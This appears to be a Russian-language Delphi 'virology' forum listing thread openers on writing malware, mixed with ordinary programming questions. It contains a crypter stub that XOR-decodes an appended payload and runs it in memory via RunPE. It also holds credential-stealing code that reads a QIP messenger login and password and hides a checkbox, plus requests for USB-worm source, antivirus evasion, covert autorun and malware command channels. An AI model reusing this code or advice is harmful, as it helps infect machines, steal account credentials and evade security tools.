delfcode

Как сделать так, чтоб программа запускалась не сразу?

Michael_Troshin — Thu, 29 Dec 2016 11:41:43 GMT

Форум: Вирусология Delphi
Описание темы: Через некоторое время?
Автор темы: Michael_Troshin
Автор последнего сообщения: Android
Количество ответов: 14

USB WORM

cool1 — Thu, 29 Dec 2016 11:40:34 GMT

Привет,
пожалуйста дайте сорец вируса который будет размножаться по флэшкам через папки
типо на флэшке папка фотки а вирус делает ее скрытой и создает файл фотки.ехе и файл Autorun.inf который открывает файл фотки.ехе

тграничения на курсор

HTTqp — Thu, 29 Dec 2016 11:39:42 GMT

Пытаюсь ограничить передвижения курсора, все бы хорошо, но почему то у меня при компиляции работает идеально, при запуске на других машинах почему то он спокойно выходит за границы формы.
Код:

Код

procedure tp(hWnd: HWND; uMsg: UINT; idEvent: UINT_PTR; dwTime: DWORD);  stdcall;
   var
      PrmInRect: TRect;
        begin
          GetWindowRect(hWnd,PrmInRect);
          ClipCursor(@PrmInRect);
        end;

//Запускаю так
//hWinHandle это хендл окна, созданый на winapi > hWinHandle:=CreateWindowEx(....);
SetTimer(hWinHandle,1,100,@tp);

delphi XE7 консольный демон

d4rkzy — Thu, 29 Dec 2016 11:37:49 GMT

Как скрыть консоль у консольного проекта?

Удалил: {$APPTYPE CONSOLE}

Консоль все равно видна.

Поставил ShowWindow(GetConsoleWindow(), 0); при запуске.
Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно.

Как пофиксить?

ВОЗМОЖНО?

Born — Thu, 29 Dec 2016 11:33:10 GMT

Здравствуйте.
Вообщем есть исходник запуска безопасного режима..
Исходник рабочий.

Собственно вопрос:Если в исходник добавить код который будет добавлять программу в ауторан.
При запуске программы запустится безопасный режим,программа добавится в ауторан без прав админа?
Я имею виду ветку HLKM.

Помогите разобраться

Born — Thu, 29 Dec 2016 11:31:56 GMT

Здравствуйте.
Работаю с компонентом ZipForge.
Компонент архивирует файлы,как оп маске так и по имени.
Но оп маске он только одно расширение находит и архивирует.
Вот пример кода:

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
ZipForge1.BaseDir:='D:\';
ZipForge1.FileName:=('D:\TestRar.zip');
ZipForge1.OpenArchive(fmCreate);
ZipForge1.BaseDir:='D:\';
ZipForge1.AddFiles('*.txt');//Если сюда ещё добавить маску '*.pdf' тогда он в обще не архивирует .
ZipForge1.CloseArchive;
showmessage('Запаковано');

end;

end.

Есть у этого компонента свойства FileMask ,добавлял расширения но результата ноль.
Помогите разобраться с компонентом...

Извлечение файла из резурсов приложения

vvova15 — Thu, 29 Dec 2016 11:15:35 GMT

в общем такой вопрос: для извелечения ресурсов я использую такуй процедуру:

Code

procedure ExtractRes(ResType, ResName, ResNewName : String);
var Res : TResourceStream;
begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
Res.SavetoFile(ResNewName); Res.Free;
end;

все бы ничего, но описание класса TResourceStream находиться в модуле classes, который дает привес около 80 кб к стабу.
можно ли как то переписать ее на winapi?

Способы управления малварью

gravitas — Thu, 29 Dec 2016 11:09:28 GMT

Нужны все возможные (удобные\неудобные - без разницы) способы управления малварью (не ботнетом). Чтобы не было повторов назову известные мне:
- Веб-панель: только если масса компов. + будет медленно, ибо слишком частые запросы на сайт вызовут подозрние.
- Бэкконнект (коннект от жертвы к вашему компу), создание сервера на компе жертвы: нужна выделенка (в обоих случаях), которой нет.
- ICQ: вариант. Но способ детский и дает килотонну веса софту.

Запуск программы из другой

ashkalov — Thu, 29 Dec 2016 11:01:11 GMT

Есть идея, но не знаю как это осуществить.
Каким образом отправить программе команду на запуск другой программы?
например отправить программе explorer.exe команду на запуск notepad.exe

идея такова, что если exlorer запустит notepad , то передаст ему прова администратора)

Буду благодарен за помощь товарищи)))

Работа с реестром

xXxSh@dowxXx — Thu, 29 Dec 2016 10:59:20 GMT

Доброго времени суток!

Искал в google разные способы добавления различных ключей в реестр:

имеется ввиду различные типы ключей, такие как:
REG_SZ;
REG_MULTI_SZ;
REG_DWORD;
REG_EXPAND_SZ;
REG_BINARY;
REG_DWORD_LITTLE_ENDIAN;
REG_DWORD_BIG_ENDIAN;
REG_LINK;
REG_NONE;
REG_RESOURCE_LIST

но увы, смог найти только пример с добавлением REG_SZ и REG_DWORD вот исходный код:

Code

//в uses требуется добавить Registry;
//-= тип ключа REG_SZ =-

procedure TForm1.Button1Click(Sender: TObject);
var
    Registry: TRegistry;
begin
    { создаём объект TRegistry }
    Registry := TRegistry.Create;
    { устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user }
    Registry.RootKey := hkey_local_machine;
    { открываем и создаём ключ }
    Registry.OpenKey('software\MyRegistryExample',true);
    { записываем значение }
    Registry.WriteString('KeyName','blablabla');
    { закрываем и освобождаем ключ }
    Registry.CloseKey;
    Registry.Free;
end;

//-= тип ключа REG_DWORD =-

procedure TForm1.Button1Click(Sender: TObject);
var
    Registry: TRegistry;
begin
    { создаём объект TRegistry }
    Registry := TRegistry.Create;
    { устанавливаем корневой ключ; напрмер hkey_local_machine или hkey_current_user }
    Registry.RootKey := hkey_local_machine;
    { открываем и создаём ключ }
    Registry.OpenKey('software\MyRegistryExample',true);
    { записываем значение }
    Registry.WriteInteger('KeyName', 1);
    { закрываем и освобождаем ключ }
    Registry.CloseKey;
    Registry.Free;
end;

по поводу других типов нашел функции вот тут Функции
но к сожалению не смог разобраться как их применить...

Прошу вашей помощи, заранее примного благодарен!

Листинг функции FileExists

Anton93 — Thu, 29 Dec 2016 10:51:11 GMT

Доброго времени суток.
Ребят, у кого-нибудь есть листинг этой функции? из модуля SysUtils. Либо ее аналог, позволяющий проверять существование файла.
Пишу без подключаемых модулей, классов и объектов.

Stub by Crypted

alex0097 — Thu, 29 Dec 2016 10:45:01 GMT

Нарыл на забугореном сайте криптор. Так вот пытаюсь разобраться...
Доступно только для пользователей
program Stub;

{$IMAGEBASE $10000000}

uses
Windows, uEOF, uRunPE;

var
Buffer :String;
bBuff :TByteArray;

function MakeXor(Buffer :String; Key :Integer) :String;
var
i,c,x :Integer;
begin
for i := 1 to Length(Buffer) do
begin
c := Integer(Buffer[i]);
x := c xor Key;
Result := Result + Char(x);
end;
end;

function StrToByteArray(Str: string) :TByteArray;
begin
SetLength(result, Length(Str));
CopyMemory(@Result[0], @Str[1], Length(Str));
end;

begin
Buffer := ReadEof('[1]', '[2]');
Buffer := MakeXor(Buffer, 1337);

bBuff := StrToByteArray(Buffer);
RunExe(ParamStr(0), bBuff);
end.

Кто что скажет?

тащим пароли с icq,skype,и тд

oke — Thu, 29 Dec 2016 10:31:05 GMT

На примере я использовал QIP 2010 и вот что получилось))

Code

unit Unit1;

interface

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ExtCtrls;

type
   TForm1 = class(TForm)
     Memo1: TMemo;
     Button1: TButton;
     procedure Button1Click(Sender: TObject);
   private
     { Private declarations }
   public
     { Public declarations }
   end;

var
   Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
   okno,login,psswd,auto:HWND;
   log,pass:array [0..255] of char;
begin
   okno:=FindWindow('TfrmMan.UnicodeClass','QIP 2010');
   if okno<>0 then
   login:= FindWindowEx(okno,0,'TInfuComboBox.UnicodeClass',nil);
   psswd:= FindWindowEx(okno,0,'TInfuEdit.UnicodeClass',nil);
   Sendmessage(login,WM_GETTEXT,20,Integer(@log));
   Sendmessage(psswd,WM_GETTEXT,20,Integer(@pass));
   Memo1.Lines.Add('ICQ : '+ log);
   Memo1.Lines.Add('Password : '+pass);
   auto:= FindWindowEx(okno,0,'TInfuCheckBox.UnicodeClass','Не спрашивать пароль');
   if auto<>0 then
   ShowWindow(auto,SW_HIDE);
end;

end.

сделал невидимой галочку "запомнить пароль" чтоб жертва не нажмала и в дальнейшем не смогла зайти автоматически а мы же дописываем процедуру отлова кнопки вход и при ее нажатии отсылаем на сниффер то что у нас в мемо и все) такой способ вроде бы еще не использовали(следовательно антивири должны молчать)

delphi 7 или XE7?

d4rkzy — Thu, 29 Dec 2016 09:18:36 GMT

В чем отличия между этими двумя софтами?
Какой лучше для зловоредов - почему?

дельфи 7 - говорят что нет поддержки работы на х64 (ехешников) - правда или нет?

как к прог-ме добавить UAC, запрос запуска от имени админ-а?

MAS — Thu, 29 Dec 2016 09:15:56 GMT

Всем привет, как это осуществить, в инете искал, нашел, но не появился запрос, может есть программа для этого, например как в программе bat to exe converter, ставишь галку в чекбоксе - Запрос от имени админа и всё. Программа при запуске выдаёт запрос.

Добавлено (18.08.2013, 16:46)
---------------------------------------------
Всё решил проблему всем спасибо
Извиняюсь я не туда обратился, не в тот раздел, я сюда недавно пришел

Function

Born — Thu, 29 Dec 2016 09:11:46 GMT

Форум: Вирусология Delphi
Автор темы: Born
Автор последнего сообщения: Android
Количество ответов: 2

Автозагрузка

Blood_Hunter — Thu, 29 Dec 2016 09:11:13 GMT

Форум: Вирусология Delphi
Автор темы: Blood_Hunter
Автор последнего сообщения: Android
Количество ответов: 3

Как распространить

pascal — Thu, 29 Dec 2016 09:10:24 GMT

Форум: Вирусология Delphi
Автор темы: pascal
Автор последнего сообщения: Android
Количество ответов: 9

Конвертировать KOL

ms301 — Thu, 29 Dec 2016 09:05:11 GMT

Ребят, у кого есть Delphi XE3, если можете, помогите конвертировать библиотеку KOL для XE3.
Скачать можно тут: http://kolmck.net/rindex.htm
Последняя версия для XE2. Я сразу сам пробовал но слишком много директив для компилятора. Сам не потяну перевести.

Нужен модуль для работы с ZIP или RAR

Anton93 — Thu, 29 Dec 2016 09:04:33 GMT

ребят нужен модуль в котором описаны процедуры для работы с архивами, никаких визуальных компонентов, импортов из вне, и прочего.
порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать.
скиньте пожалуйста если не трудно

Добавлено (17.09.2013, 21:06)
---------------------------------------------
допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла

PACKAGEINFO и DVCLAL

black_catt — Thu, 29 Dec 2016 09:02:09 GMT

Осваиваю тему микроскопического delphi.
Как не создавать ресурсы PACKAGEINFO и DVCLAL
яснопонятно что их можно удалять ресурсэксплорером...

Как избавится от сигнатурного детекта?

d4rkzy — Thu, 29 Dec 2016 08:58:23 GMT

Есть исходник трояна - палицо всем чем можно, удалил пару функций - детект спал, из 22 тепер 12. Находят как "Gen:Variant.Kazy.247008"
Если можно примеры на дельфи или масме, асме - спасибо.

Какой антивирус лучше?

Serge88 — Thu, 29 Dec 2016 08:52:08 GMT

Здравствуйте! Скажите пожалуйста какой антивирус лучше? p.s. Модераторы, перенесите пожалуйста в другой раздел если я немного не там создал тему

DLL Injector на Delphi

sk0rpi0n — Thu, 29 Dec 2016 08:25:45 GMT

Я тут одновременно с ассемблером занялся читами для игр, и чужие инжекторы dllок меня не очень устраивают... А как вообще можно сделать свой? Нужно, чтобы он загружал dll в игру во время запуска... Может кто-нибудь что-то подсказать по этому поводу?
Хотя я ещё попытаюсь погуглить, но во многих статьях обычно встречаются пара ошибок, которые не знаешь как решить... И всё к чертям летит... По этому и пишу тут.

UPD: хотя я тут ещё исходник нашёл, посмотрю его. Но от советов не откажусь!

RunPE криптер эффективность?

d4rkzy — Thu, 29 Dec 2016 08:19:51 GMT

Вот сижу и думаю. Многие криптеры используют RunPE - тобишь запуск файлов из памяти. Ясное дело что сперва все эти файлы шифруется всякими des, RC4, xor алгоритмами, но - действительно ли это эффективный метод? Почему антивирусы все еще не поставят какую нибудь заглушку на createprocess или createthread в suspend моде? Они же могут мониторить все исходящие апи вызовы? Вообще-м вопрос - это правда что runpe криптеры обходят так называемые проактивные защиты? И кто мне может сказать разницу меж эмуляцией и проактивной защитой? Антон, жду твоего коммена.

Пошаговое руководство к исполняемым файлам

Anton93 — Thu, 29 Dec 2016 08:17:40 GMT

автозапуск незаметно для антивируса?

AligatorBkmz — Thu, 29 Dec 2016 08:12:11 GMT

Данный код явно вызывает недовольство у антивируса Avast во время его исполнения, и выдает некрасивое предупреждение:

Код

procedure Autorun(Flag:boolean; NameParam, Path:String);
var Reg:TRegistry;
begin
  if Flag then
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run', false);
     Reg.WriteString(NameParam, Path);
     Reg.Free;
  end
  else
  begin
     Reg := TRegistry.Create;
     Reg.RootKey := HKEY_CURRENT_USER;
     Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false);
     Reg.DeleteValue(NameParam);
     Reg.Free;
  end;
end;

Как бы запустить прогу автоматом не вызывая недовольств антивируса?

Подбор паролей для wi-fi

d4rkzy — Thu, 29 Dec 2016 08:10:06 GMT

Форум: Вирусология Delphi
Автор темы: d4rkzy
Автор последнего сообщения: Android
Количество ответов: 3

Реестр

alex0097 — Thu, 29 Dec 2016 08:09:08 GMT

Форум: Вирусология Delphi
Автор темы: alex0097
Автор последнего сообщения: Android
Количество ответов: 4

Расчет энтропии

Волк-1024 — Thu, 24 Nov 2016 12:30:22 GMT

В общем я когда-то перерыл и перелопатил весь инет и так и не нашёл толковой информации по этой теме, особенно на Delphi.
И тут я, значит, брожу по гуглу и ищу инфу по одной теме и случайно тыкаю не на ту ссылку. И попадаю на известный блог: http://www.manhunter.ru/assembler/ И что я вижу! "Расчет энтропии на Ассемблере" и думаю: "Там, наверное, килотонны кода". Открываю и охреневаю от компактности кода. Дальше я быстро принимаюсь переписывать его на Delphi. Благо моих скромных познаний асма на это хватило.

Вот по этой формуле ведётся расчёт (Хотя я в математике дуб-дубом)

А вот и сам код:

Код

function CalcMemoryEntropy(const Memory: Pointer; Size: Cardinal): Extended;
var
    Prob, Log2: Extended;
    I, Sum, Chr: Integer;
    Code: array[0..255] of Byte;
begin
    Result:=0;
    if (Memory=nil)or(Size=0) then
       Exit
    else
    begin
       for I:=0 to(Length(Code)-1) do
          Code[I]:=0;
       I:=0;
       Sum:=0;
       while (Cardinal(I)       begin
          Chr:=(Cardinal(PChar(Memory)[I]));
          Inc(Code[Chr]);
          Inc(Sum);
          Inc(I);
       end;
       Log2:=Math.Log2(2.0);
       for I:=0 to(Length(Code)-1) do
       begin
          if (Code[I]>0) then
          begin
             Prob:=Code[I]/Sum;                    // P(i) = SUM(i)/total
             Result:=(Result-(Prob*(Math.Log2(Prob))/Log2));   // H(i) = -P(i)*log2(P(i))
          end;
       end;
    end;
end;

Как видим, код получился достаточно простым.

Вот расчет для строки:

Код

function CalcStringEntropy(Str: string): Extended;
begin
Result:=CalcMemoryEntropy(PChar(Str), (Length(Str)));
end;

И примеры:

Без округлений энтропии:

Код

MessageBox(0, PChar(FloatToStr(CalcStringEntropy('123456789'))), nil, 0);

И с округлением до двух чисел после запятой:

Код

MessageBox(0, PChar(FormatFloat('#.##', CalcStringEntropy('123456789'))), nil, 0);

В первом случае результат будет: 3.169925000144231, а во втором 3.17.

Для чего это нужно и кому это надо? Это пригодится, например, для определения пакованности файла (как это делает PeID или DiE) и т.д.

P.S. Для вычисления энтропии файла достаточно немного изменить код.
P.S.S. Информация по теме: Wikipedia

-------------------------------------------------------------
Забыл сказать. Для работы требуется модуль Math.